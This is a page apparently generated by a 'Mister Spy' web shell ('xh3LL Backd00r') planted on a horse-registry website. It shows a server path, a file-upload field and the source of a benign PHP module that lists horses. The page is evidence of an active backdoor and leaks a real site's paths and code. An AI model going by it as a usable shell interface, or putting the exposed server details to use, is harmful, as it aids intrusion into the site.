Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/espanol/modules/
Upload File :
Current File : /home/caballoscriollos/public_html/espanol/modules/caballos.php

<?php

require_once('../library/class.exiss.php');
require_once('../library/class.pdres.php');
require_once('../library/class.extrs.php');
require_once('../library/class.inscripcionesanimalespruebasfuncionales.php');


class ModuleCaballos extends Module
{
	function GetName()
	{
		return "Caballos";
	}

	function GetXMLCommands()
	{
		$Commands = array();
		$Commands[] = 'GetAll';

		return $Commands;
	}

	function GetAll(array $array)
	{
		$Tabla = '';
		if ($array['Sexo'] == 2) { // BUSCO EN EXISS
			$Caballos = new Exiss();
			$Tabla = 'IdExis';
		}else{
			$Caballos = new Pdres();
			$Tabla = 'IdPdre';
		}
		$Extrs 	= new Extrs();
		$InscripcionesAnimalesPruebasFuncionales = new InscripcionesAnimalesPruebasFuncionales();

		$filter = array();

		$SBA = $array['SBA'];

		$arrCaballos = $Caballos->GetBySBA($SBA, NULL);
		$arrExtr = $Extrs->GetBySBA($SBA, '', $array['Sexo']);
		$arrResult = array();
		foreach ($arrCaballos as $oCaballo)
		{
			$oCaballo->Permitir = '1';
			$oCaballo->Tabla = $Tabla;
			if ($array['IdEvento'] && $array['IdEventosFuncionalesPrueba'] == 2 && $array['IdEventosFuncionalesPruebasCategoria'])
			{
				$IdCaballo = $oCaballo->IdExis;
				if (!$IdCaballo)
					$IdCaballo = $oCaballo->IdPdre;
				if (!$Insc = $InscripcionesAnimalesPruebasFuncionales->GetByYuntaIdAnimalIdCategoriaFuncional($array['IdEvento'], $IdCaballo, $array['IdEventosFuncionalesPrueba'], $array['IdEventosFuncionalesPruebasCategoria'], $array['IdAnimal']))
				{
					if (!$Insc2 = $InscripcionesAnimalesPruebasFuncionales->GetByIdAnimalYuntaIdAnimalIdCategoriaFuncional($array['IdEvento'], $IdCaballo, $Tabla, $array['IdAnimal'], $array['IdEventosFuncionalesPrueba'], $array['IdEventosFuncionalesPruebasCategoria']))
					{
						$arrResult[]= $oCaballo;
					}
					else
					{
						$oCaballo->Permitir = '0';
						$arrResult[]= $oCaballo;
					}
				}
				else
				{
					$oCaballo->Permitir = '0';
					$arrResult[]= $oCaballo;
				}
			}
			else
				$arrResult[]= $oCaballo;
		}
		foreach ($arrExtr as $oExtr)
		{
			$oExtr->Permitir = '1';
			$oCaballo->Tabla = 'IdExtr';
			if ($array['IdEvento'] && $array['IdEventosFuncionalesPrueba'] == 2 && $array['IdEventosFuncionalesPruebasCategoria'])
			{
				$IdCaballo = $oCaballo->IdExtr;
				if (!$Insc = $InscripcionesAnimalesPruebasFuncionales->GetByYuntaIdAnimalIdCategoriaFuncional($array['IdEvento'], $IdCaballo, $array['IdEventosFuncionalesPrueba'], $array['IdEventosFuncionalesPruebasCategoria']))
				{
					if (!$Insc2 = $InscripcionesAnimalesPruebasFuncionales->GetByIdAnimalYuntaIdAnimalIdCategoriaFuncional($array['IdEvento'], $IdCaballo, $Tabla, $array['IdAnimal'], $array['IdEventosFuncionalesPrueba'], $array['IdEventosFuncionalesPruebasCategoria']))
					{
						$arrResult[]= $oExtr;
					}
					else
					{
						$oExtr->Permitir = '0';
						$arrResult[]= $oExtr;
					}
				}
				else
				{
					$oExtr->Permitir = '0';
					$arrResult[]= $oExtr;
				}
			}
			else
				$arrResult[]= $oExtr;
		}
		
		return $arrResult;
	}

}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat